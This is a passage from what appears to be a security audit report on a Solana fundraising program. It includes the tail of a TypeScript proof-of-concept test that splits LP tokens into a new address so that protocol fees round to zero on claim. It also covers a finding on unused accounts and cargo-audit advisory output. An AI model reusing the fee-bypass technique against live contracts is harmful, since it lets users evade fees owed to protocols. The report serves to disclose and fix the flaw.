await provider.connection.getTokenAccountBalance(vaultA),
);
let protocolVault = new PublicKey("5KgfWjGePnbFgDAuCqxB5oymuFxQskvCtrw6eYfDa7fj");
let protocolVaultAta = await getOrCreateAssociatedTokenAccount(
provider.connection,
signer,
usdcMint,
protocolVault,
true
)
let protocolVaultAtaPreAta = uiToBn(
await provider.connection.getTokenAccountBalance(protocolVaultAta.address),
);
console.log("Before::userPreBal", Number(userPreBal)/1e6)
console.log("Before::vaultPreBal", Number(vaultPreBal)/1e6)
console.log("Before::protocolVaultAtaPreAta", Number(protocolVaultAtaPreAta)/1e6)
let newAddress = Keypair.generate();
let bypassUsdcAta = await getOrCreateAssociatedTokenAccount(
provider.connection,
signer,
lpMintA.publicKey,
newAddress.publicKey
)
await airdrop(newAddress.publicKey, 1);
await transfer(
provider.connection,
signer,
userLpAtaA,
bypassUsdcAta.address,
signer,
999
);
let newAddressUsdcAta = await getOrCreateAssociatedTokenAccount(
provider.connection,
signer,
usdcMint,
newAddress.publicKey
)
await program.methods
.claim()
.accounts({
authority: newAddress.publicKey,
fundraise: fundraiseA,
project: projectC,
lpMint: lpMintA.publicKey,
contributionMint: usdcMint,
protocolVault,
tokenProgram: TOKEN_PROGRAM_ID,
})
.signers([newAddress])
.rpc();
let newAddressBal = uiToBn(
await provider.connection.getTokenAccountBalance(newAddressUsdcAta.address),
);
vaultPreBal = uiToBn(
await provider.connection.getTokenAccountBalance(vaultA),
);
protocolVaultAtaPreAta = uiToBn(
await provider.connection.getTokenAccountBalance(protocolVaultAta.address),
);
console.log("After::New Address Balance after claim (Bypassed Fees)", Number(newAddressBal)/1e6)
console.log("After::Vault balance after claim", Number(vaultPreBal)/1e6)
console.log("After::protocolVaultAtaPreAta", Number(protocolVaultAtaPreAta)/1e6)
});
});
Result of the test case
It is recommended to enforce a minimum fee whenever the calculated protocol fee rounds down to zero to prevent users from bypassing protocol fees
SOLVED: The RECC team resolved the issue by enforcing a minimum protocol fee.
//
Several accounts in a some instructions are included but are never read from nor validated leading to unnecessarily larger transactions and increased compute usage:
In the update_fundraise
instruction, the accounts vault_ata
, contribution_mint
, token_program
, and associated_token_program
are unused.
In the withdraw
and contribute
instructions, the project
account is included but not utilized.
The update_fundraise
instruction also re-derives the PDAs for fundraise
and project
instead of using their respective stored bump values, resulting in unnecessary compute unit overhead that could be avoided by simply reusing the stored bumps.
program/src/instructions/update.rs
#[derive(Accounts)]
pub struct UpdateFundraise<'info> {
#[account(mut)]
pub authority: Signer<'info>,
// lp tokens mint account
#[account(mut)]
pub lp_mint: InterfaceAccount<'info, Mint>,
#[account(
mut,
seeds = [Fundraise::SEED.as_bytes(), lp_mint.key().as_ref()],
bump,
)]
pub fundraise: Account<'info, Fundraise>,
#[account(
mut,
seeds = [Project::SEED.as_bytes(), lp_mint.key().as_ref()],
bump
)]
pub project: Account<'info, Project>,
// mint of the token that will be used for contributing
#[account(mut)]
pub contribution_mint: InterfaceAccount<'info, Mint>,
#[account(
mut,
associated_token::mint = contribution_mint,
associated_token::authority = fundraise,
associated_token::token_program = token_program
)]
pub vault_ata: InterfaceAccount<'info, TokenAccount>,
pub system_program: Program<'info, System>,
pub token_program: Interface<'info, TokenInterface>,
pub associated_token_program: Program<'info, AssociatedToken>,
}
it is recommended to remove the unused accounts to reduce transaction size and compute units.
SOLVED: The RECC team resolved the issue by removing redundant accounts.
Halborn used automated security scanners to assist with the detection of well-known security issues and vulnerabilities. Among the tools used was cargo-audit
, a security scanner for vulnerabilities reported to the RustSec Advisory Database. All vulnerabilities published in https://crates.io are stored in a repository named The RustSec Advisory Database. cargo audit
is a human-readable version of the advisory database which performs a scanning on Cargo.lock. Security Detections are only in scope. All vulnerabilities shown here were already disclosed in the above report. However, to better assist the developers maintaining this code, the reviewers are including the output with the dependencies tree, and this is included in the cargo audit
output to better know the dependencies affected by unmaintained and vulnerable crates.
ID | package | Short Description |
---|---|---|
RUSTSEC-2024-0344 | curve25519-dalek | Timing variability in |
RUSTSEC-2022-0093 | ed25519-dalek | Double Public Key Signing Function Oracle Attack on |
Halborn strongly recommends conducting a follow-up assessment of the project either within six months or immediately following any material changes to the codebase, whichever comes first. This approach is crucial for maintaining the project’s integrity and addressing potential vulnerabilities introduced by code modifications.
// Download the full report
RECC
* Use Google Chrome for best results
** Check "Background Graphics" in the print settings if needed